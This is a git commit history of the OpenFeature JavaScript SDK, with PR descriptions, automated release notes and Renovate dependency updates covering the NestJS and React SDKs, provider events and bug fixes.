Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-01-26 13:54:20 -05:00
Todd Baert 69c7f05eb4
fix: event-handler leakage (#788)
Fixes an issue where event handlers could be leaked if the same handler
reference was added multiple times.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-01-26 18:12:26 +00:00
Michael Beemer c6a357aa5c
docs: update nestjs readme examples (#787)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-01-25 15:47:13 -05:00
Lukas Reining a452bdd4a8
fix(nest): add peer deps for nestjs-core and rxjs 9 (#784)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

Adds `@nestjs/core` and rxjs version 8 to peer deps of nestjs-sdk.
Also fixes typos in README.

---------

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-01-25 15:17:01 +00:00
Luiz Guilherme Ribeiro a21634dce9
docs: Nest SDK (#750)
## This PR
- Adds docs to the NestJS SDK.

### Notes

I think we're probably reaching a stable point for the NestJS SDK.
It would be great to have some feedback on the docs before it.

### Follow-up Tasks
- Blog post & announcement regarding the new SDK (maybe?)

---------

Signed-off-by: Luiz Ribeiro <ltrindaderibeiro@gmail.com>
Signed-off-by: Luiz Guilherme Ribeiro <luizgribeiro@ufrj.br>
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
2024-01-24 08:50:56 +00:00
Neeraj Gartia 2f59a9f5a8
feat: adds ErrorOptions to Error constructor (#765)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

- adds `ErrorOptions` to `Error` constructor
- updates compiler option to `es2022`

### Related Issues
<!-- add here the GitHub issue that this PR resolves if applicable -->

Fixes [this](https://github.com/open-feature/js-sdk-contrib/issues/713)

### Notes
<!-- any additional notes for this PR -->

### Follow-up Tasks
<!-- anything that is related to this PR but not done here should be
noted under this section -->
<!-- if there is a need for a new issue, please link it here -->

### How to test
<!-- if applicable, add testing instructions under this section -->

---------

Signed-off-by: Neeraj Gartia <neerajgartia211002@gmail.com>
2024-01-20 17:48:01 +00:00
OpenFeature Bot a9e48aa363
chore(main): release react-sdk 0.1.0-experimental (#764)
🤖 I have created a release *beep* *boop*
---


##
[0.1.0-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.0.6-experimental...react-sdk-v0.1.0-experimental)
(2024-01-18)


### ⚠ BREAKING CHANGES

* remove generic hook, add specific type hooks
([#766](https://github.com/open-feature/js-sdk/issues/766))

###  New Features

* remove generic hook, add specific type hooks
([#766](https://github.com/open-feature/js-sdk/issues/766))
([d1d02fa](d1d02fa59d))


### 🧹 Chore

* fix react-sdk REAMDE example, add missing `EvaluationContext`
([#762](https://github.com/open-feature/js-sdk/issues/762))
([1e13333](1e13333819))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-01-19 15:06:03 +00:00
OpenFeature Bot 8e7090e277
chore(main): release nestjs-sdk 0.0.4-experimental (#768)
🤖 I have created a release *beep* *boop*
---


##
[0.0.4-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.0.3-experimental...nestjs-sdk-v0.0.4-experimental)
(2024-01-18)


###  New Features

* add logger, event handlers and hooks to nest sdk
([#761](https://github.com/open-feature/js-sdk/issues/761))
([80a9ba1](80a9ba1e51))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-01-18 20:34:34 +00:00
Lukas Reining 80a9ba1e51
feat: add logger, event handlers and hooks to nest sdk (#761)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

Adds options for logger, event handlers and hooks to Nest SDK
initialization.
This change makes the SDK completely configurable during the
initialization without the need to explicitly call the OpenFeature API.

### Related Issues
<!-- add here the GitHub issue that this PR resolves if applicable -->

Relates to #705

---------

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Signed-off-by: Luiz Guilherme Ribeiro <ltrindaderibeiro@gmail.com>
Signed-off-by: Luiz Guilherme Ribeiro <luizgribeiro@ufrj.br>
Co-authored-by: Luiz Guilherme Ribeiro <ltrindaderibeiro@gmail.com>
2024-01-18 20:25:26 +00:00
Todd Baert d1d02fa59d
feat!: remove generic hook, add specific type hooks (#766)
This PR brings the react SDK's evaluation API in-line with other SDKS.
It does this by:

- adding flag value hooks for each type (these all use common code, with
only differing generic args)
- adding flag details hooks for each type (again using common code)
- adding optional generic constraints for each

I think this is important before a non-experimental release for 2
reasons:
- it's consistent with our other JS components and other SDKs
- it fixes a potential bug if uses accidentally pass the wrong default
type

⚠️ This is a breaking change.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-01-18 16:44:43 +00:00
Henry Chen 1e13333819
chore: fix react-sdk REAMDE example, add missing `EvaluationContext` (#762)
## This PR
- fixes the example in react-sdk's REAMDE, add missing
`EvaluationContext`.

Signed-off-by: Henry Chen <1474479+chenhunghan@users.noreply.github.com>
2024-01-15 13:32:31 -05:00
Michael Beemer 3ad61cc055
chore: update renovate to use best practices (#751)
## This PR

- enables renovate best practices

### Notes

The current configuration seems to be invalid. This PR updates Renovate
to use best practices recommended by the Renovate team.

https://docs.renovatebot.com/presets-config/#configbest-practices

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-01-11 17:10:49 -05:00
OpenFeature Bot 3e17df4f84
chore(main): release react-sdk 0.0.6-experimental (#697)
🤖 I have created a release *beep* *boop*
---


##
[0.0.6-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.0.5-experimental...react-sdk-v0.0.6-experimental)
(2024-01-11)


###  New Features

* suspense support, client scoping, context-sensitive re-rendering
([#759](https://github.com/open-feature/js-sdk/issues/759))
([8f01ead](8f01ead291))


### 🧹 Chore

* fix React SDK README.md to use the resolved value instead of the
resolution details
([#691](https://github.com/open-feature/js-sdk/issues/691))
([2d1b8eb](2d1b8ebfb1))
* react-sdk | downgrading react peer dependency | react 18.0.0 -&gt;
16.8.0 ([#742](https://github.com/open-feature/js-sdk/issues/742))
([2c864e4](2c864e46cc))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-01-11 20:42:36 +00:00
Todd Baert 8f01ead291
feat: suspense support, client scoping, context-sensitive re-rendering (#759)
Adds a few react features:

- `<Suspense />` support: components using feature flags will trigger
suspense for easy loaders/spinners
- Ability to specify name for provider scope: `<OpenFeatureProvider
name="my-provider">`
- re-render on context change

This is an exact re-merge of:
https://github.com/open-feature/js-sdk/pull/698, without a web-sdk
whitespace change that created a bunch of bad release notes.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-01-11 15:34:04 -05:00
Shujaat Ali 2c864e46cc
chore: react-sdk | downgrading react peer dependency | react 18.0.0 -> 16.8.0 (#742)
## This PR fix the npm warning when installing @openfeature/react-sdk in
application using react version < 18

| Package   | Change   | Passing   | Confidence   |
|-----------|----------|-----------|--------------|
| [react](https://github.com/facebook/react) |
[18.0.0](https://github.com/facebook/react/releases/tag/v18.0.0) ->
[16.8.0](https://github.com/facebook/react/releases/tag/v16.8.0) | True
| High |

Fixes #741

### How to test
1. create a react project using react 16.8.0, node 14, npm 6.X.X
2. install @openfeature/react-sdk
3. Observe no install warning
4. use `useFeatureFlag` in application as per documentation with no
issue.

Signed-off-by: Shujaat Ali <dr.shujaat_ali@hotmail.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-01-11 14:42:12 -05:00
OpenFeature Bot 58cac6cf3f
chore(main): release web-sdk 0.4.10 (#754)
🤖 I have created a release *beep* *boop*
---


##
[0.4.10](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.4.9...web-sdk-v0.4.10)
(2024-01-11)


### 🐛 Bug Fixes

* some handlers fail to run
([#753](https://github.com/open-feature/js-sdk/issues/753))
([f4597af](f4597af79a))
* wrong context passed to named providers
([#752](https://github.com/open-feature/js-sdk/issues/752))
([b6adbba](b6adbbac8e))


### 🧹 Chore

* **main:** release core 0.0.23
([#755](https://github.com/open-feature/js-sdk/issues/755))
([da478cb](da478cb0b0))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-01-11 12:37:37 -05:00
OpenFeature Bot 3129e92b48
chore(main): release server-sdk 1.9.1 (#756)
🤖 I have created a release *beep* *boop*
---


##
[1.9.1](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.9.0...server-sdk-v1.9.1)
(2024-01-11)


### 🧹 Chore

* **main:** release core 0.0.23
([#755](https://github.com/open-feature/js-sdk/issues/755))
([da478cb](da478cb0b0))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-01-11 12:31:19 -05:00
OpenFeature Bot da478cb0b0
chore(main): release core 0.0.23 (#755)
🤖 I have created a release *beep* *boop*
---


##
[0.0.23](https://github.com/open-feature/js-sdk/compare/core-v0.0.22...core-v0.0.23)
(2024-01-11)


### 🐛 Bug Fixes

* some handlers fail to run
([#753](https://github.com/open-feature/js-sdk/issues/753))
([f4597af](f4597af79a))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2024-01-11 12:28:04 -05:00
Todd Baert f4597af79a
fix: some handlers fail to run (#753)
fixed an issue where some handlers would fail to run if the associated
provider did not have a onContextChange method

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-01-11 17:21:35 +00:00
Todd Baert b6adbbac8e
fix: wrong context passed to named providers (#752)
Fixed an issue with implementations of
https://github.com/open-feature/js-sdk/pull/704 where the wrong context
was passed to namespaced providers.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-01-11 17:20:27 +00:00
OpenFeature Bot 072d2c7570
chore(main): release nestjs-sdk 0.0.3-experimental (#747)
🤖 I have created a release *beep* *boop*
---


##
[0.0.3-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.0.2-experimental...nestjs-sdk-v0.0.3-experimental)
(2024-01-08)


###  New Features

* context propagation for nestjs
([#736](https://github.com/open-feature/js-sdk/issues/736))
([1fa53c9](1fa53c9058))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-01-08 22:47:55 +00:00
Lukas Reining 1fa53c9058
feat: context propagation for nestjs (#736)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR

Implements context propagation in the Nest.js SDK.
This relates to the discussions from
https://github.com/open-feature/js-sdk/pull/733#discussion_r1427747322.

Open questions are:
- How to scope the `contextFactory`? It seems that we should be able to
define a common and client specific context factories.
- Should the `AsyncLocalStorage` be used in the `FeatureFlagDecorators`
too as it is in this draft?
- Should we merge the injected `OpenFeatureClient` and the
`OpenFeatureContextService` so that you do not have to inject both into
the consuming services as we do in the `TestService`?

@luizgribeiro this is the draft for what we discussed about, what do you
think?

---------

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Signed-off-by: Luiz Guilherme Ribeiro <ltrindaderibeiro@gmail.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Luiz Guilherme Ribeiro <ltrindaderibeiro@gmail.com>
2024-01-08 22:40:19 +00:00
OpenFeature Bot a2d4f3e29e
chore(main): release web-sdk 0.4.9 (#721)
🤖 I have created a release *beep* *boop*
---


##
[0.4.9](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.4.8...web-sdk-v0.4.9)
(2024-01-08)


###  New Features

* add named provider metadata accessor
([#715](https://github.com/open-feature/js-sdk/issues/715))
([23d14aa](23d14aade8))
* add PROVIDER_CONTEXT_CHANGED event (web-sdk only)
([#731](https://github.com/open-feature/js-sdk/issues/731))
([7906bbe](7906bbedbd))


### 🐛 Bug Fixes

* use in memory provider for e2e suites
([#740](https://github.com/open-feature/js-sdk/issues/740))
([696bf4a](696bf4adb8))


### 🧹 Chore

* **main:** release core 0.0.21
([#720](https://github.com/open-feature/js-sdk/issues/720))
([7d1aca4](7d1aca4bf8))
* **main:** release core 0.0.22
([#745](https://github.com/open-feature/js-sdk/issues/745))
([a0cc855](a0cc85546d))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-01-08 20:37:47 +00:00
OpenFeature Bot 8cebbf16a1
chore(main): release server-sdk 1.9.0 (#744)
🤖 I have created a release *beep* *boop*
---


##
[1.9.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.8.0...server-sdk-v1.9.0)
(2024-01-08)


### 🐛 Bug Fixes

* use in memory provider for e2e suites
([#740](https://github.com/open-feature/js-sdk/issues/740))
([696bf4a](696bf4adb8))


### 🧹 Chore

* **main:** release core 0.0.22
([#745](https://github.com/open-feature/js-sdk/issues/745))
([a0cc855](a0cc85546d))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-01-08 15:30:29 -05:00
OpenFeature Bot a0cc85546d
chore(main): release core 0.0.22 (#745)
🤖 I have created a release *beep* *boop*
---


##
[0.0.22](https://github.com/open-feature/js-sdk/compare/core-v0.0.21...core-v0.0.22)
(2024-01-08)


###  New Features

* add PROVIDER_CONTEXT_CHANGED event (web-sdk only)
([#731](https://github.com/open-feature/js-sdk/issues/731))
([7906bbe](7906bbedbd))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2024-01-08 15:26:34 -05:00
Todd Baert 7906bbedbd
feat: add PROVIDER_CONTEXT_CHANGED event (web-sdk only) (#731)
This PR:

- adds `PROVIDER_CONTEXT_CHANGED` events, which, in the static paradigm,
can be used to inform the SDK that the flags should be re-evaluated
(important for UI repaints in React, for instance (note this event is
only available in the web-sdk)
- runs the associated `PROVIDER_CONTEXT_CHANGED` handlers if the
provider's context handler function ran successfully or `PROVIDER_ERROR`
handlers otherwise.
- adds associated tests

A decent amount of this is just typing magic to reduce duplicated code
while making the new event only available in the web-sdk.

See: [associated spec
change](https://github.com/open-feature/spec/pull/200)

Fixes: https://github.com/open-feature/js-sdk/issues/729

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-01-08 20:19:35 +00:00
Mohamed V J 696bf4adb8
fix: use in memory provider for e2e suites (#740)
## This PR
Removes setup using Flagd Provider and uses In-Memory Provider

Fixes #712

---------

Signed-off-by: Mohamed V J <muhammed8089@gmail.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-01-05 17:44:49 +00:00
Michael Beemer 8503689a2c
chore: fix typos in the release audit workflow
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-01-04 15:50:49 -05:00
OpenFeature Bot 98d56900a0
chore(main): release server-sdk 1.8.0 (#722)
🤖 I have created a release *beep* *boop*
---


##
[1.8.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.7.5...server-sdk-v1.8.0)
(2024-01-03)


###  New Features

* add named provider metadata accessor
([#715](https://github.com/open-feature/js-sdk/issues/715))
([23d14aa](23d14aade8))


### 🧹 Chore

* **main:** release core 0.0.21
([#720](https://github.com/open-feature/js-sdk/issues/720))
([7d1aca4](7d1aca4bf8))
* update flagd-provider
([#723](https://github.com/open-feature/js-sdk/issues/723))
([c7098c3](c7098c365a))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-01-03 18:24:59 +00:00
OpenFeature Bot 7d1aca4bf8
chore(main): release core 0.0.21 (#720)
🤖 I have created a release *beep* *boop*
---


##
[0.0.21](https://github.com/open-feature/js-sdk/compare/core-v0.0.20...core-v0.0.21)
(2023-12-18)


###  New Features

* add named provider metadata accessor
([#715](https://github.com/open-feature/js-sdk/issues/715))
([23d14aa](23d14aade8))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2024-01-03 18:10:29 +00:00
renovate[bot] 77a584c17e
chore(deps): update dependency @types/node to v20 (#611)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/node](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node))
| [`^18.0.3` ->
`^20.0.0`](https://renovatebot.com/diffs/npm/@types%2fnode/18.18.9/20.10.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.10.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.10.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/18.18.9/20.10.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/18.18.9/20.10.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zMS41IiwidXBkYXRlZEluVmVyIjoiMzcuODEuMyIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-12-18 14:50:36 -05:00
renovate[bot] ade80220fe
chore(deps): update dependency @openfeature/flagd-provider to v0.10.3 (#727)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| @&#8203;openfeature/flagd-provider | [`0.10.2` ->
`0.10.3`](https://renovatebot.com/diffs/npm/@openfeature%2fflagd-provider/0.10.2/0.10.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@openfeature%2fflagd-provider/0.10.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@openfeature%2fflagd-provider/0.10.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@openfeature%2fflagd-provider/0.10.2/0.10.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@openfeature%2fflagd-provider/0.10.2/0.10.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy44Ny4yIiwidXBkYXRlZEluVmVyIjoiMzcuODcuMiIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-12-14 14:43:38 +00:00
OpenFeature Bot b243ded167
chore(main): release nestjs-sdk 0.0.2-experimental (#726)
🤖 I have created a release *beep* *boop*
---


##
[0.0.2-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.0.1-experimental...nestjs-sdk-v0.0.2-experimental)
(2023-12-13)


###  New Features

* implement draft for a Nest.js SDK
([#718](https://github.com/open-feature/js-sdk/issues/718))
([ef874e0](ef874e0365))


### Dependencies

* The following workspace dependencies were updated
  * devDependencies
    * @openfeature/core bumped from * to 0.0.21
    * @openfeature/server-sdk bumped from * to 1.8.0

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-12-13 17:25:56 +00:00
Lukas Reining ef874e0365
feat: implement draft for a Nest.js SDK (#718)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

This is a first draft of a Nest.js SDK.
Currently it only handles injecting clients and feature flags.
I also added a context factory for the FeatureFlag decorators to be able
to use request information for the execution context.

### Related Issues
<!-- add here the GitHub issue that this PR resolves if applicable -->

Fixes #705 

### Notes
<!-- any additional notes for this PR -->

@toddbaert maybe we can do it as we did with the React SDK, merge this
fast and release as experimental to let people experiment and try out?

### Follow-up Tasks
<!-- anything that is related to this PR but not done here should be
noted under this section -->
<!-- if there is a need for a new issue, please link it here -->
We will have to see if we want to stick with the injected feature flags
being wrapped in an observable.
To me this feels the most idiomatic for Nest.js.

### How to test
Tests for the current functionality are included.

---------

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Henry Chen <1474479+chenhunghan@users.noreply.github.com>
Co-authored-by: Luiz Guilherme Ribeiro <ltrindaderibeiro@gmail.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-12-13 16:59:48 +00:00
Todd Baert c7098c365a
chore: update flagd-provider (#723)
see title

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-12-13 14:02:31 +00:00
Michael Beemer 23d14aade8
feat: add named provider metadata accessor (#715)
## This PR

- adds an accessor for named provider metadata

### Related Issues

Fixes #714 

### Notes

The default metadata is returned if the name doesn't match a registered
provider.

This is another example where provider namespace would work well. It
doesn't make sense to call this "named client" since we are only
interested in the client.

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-12-12 16:38:43 +00:00
renovate[bot] 954bd61610
chore(deps): update typescript-eslint monorepo to v6 (major) (#610)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/typescript-eslint)
([source](https://togithub.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin))
| [`^5.23.0` ->
`^6.0.0`](https://renovatebot.com/diffs/npm/@typescript-eslint%2feslint-plugin/5.62.0/6.14.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@typescript-eslint%2feslint-plugin/6.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@typescript-eslint%2feslint-plugin/6.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@typescript-eslint%2feslint-plugin/5.62.0/6.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@typescript-eslint%2feslint-plugin/5.62.0/6.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@typescript-eslint/parser](https://togithub.com/typescript-eslint/typescript-eslint)
([source](https://togithub.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser))
| [`^5.23.0` ->
`^6.0.0`](https://renovatebot.com/diffs/npm/@typescript-eslint%2fparser/5.62.0/6.14.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@typescript-eslint%2fparser/6.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@typescript-eslint%2fparser/6.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@typescript-eslint%2fparser/5.62.0/6.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@typescript-eslint%2fparser/5.62.0/6.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>typescript-eslint/typescript-eslint
(@&#8203;typescript-eslint/eslint-plugin)</summary>

###
[`v6.14.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#6140-2023-12-11)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.13.2...v6.14.0)

##### Bug Fixes

- **eslint-plugin:** add no-unsafe-unary-minus, prefer-destructuring to
disable-type-checked
([#&#8203;8038](https://togithub.com/typescript-eslint/typescript-eslint/issues/8038))
([431cd15](431cd1559f))
- **eslint-plugin:** correct message for `no-unsafe-unary-minus`
([#&#8203;7998](https://togithub.com/typescript-eslint/typescript-eslint/issues/7998))
([705370a](705370ac0d))

##### Features

- **eslint-plugin:** \[explicit-function-return-type] add support for
typed class property definitions
([#&#8203;8027](https://togithub.com/typescript-eslint/typescript-eslint/issues/8027))
([bff47d7](bff47d7885))
- **eslint-plugin:** \[require-await] allow yielding Promise in async
generators
([#&#8203;8003](https://togithub.com/typescript-eslint/typescript-eslint/issues/8003))
([4c3e704](4c3e704b97))

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

####
[6.13.2](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.13.1...v6.13.2)
(2023-12-04)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

####
[6.13.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v6.13.0...v6.13.1)
(2023-11-28)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
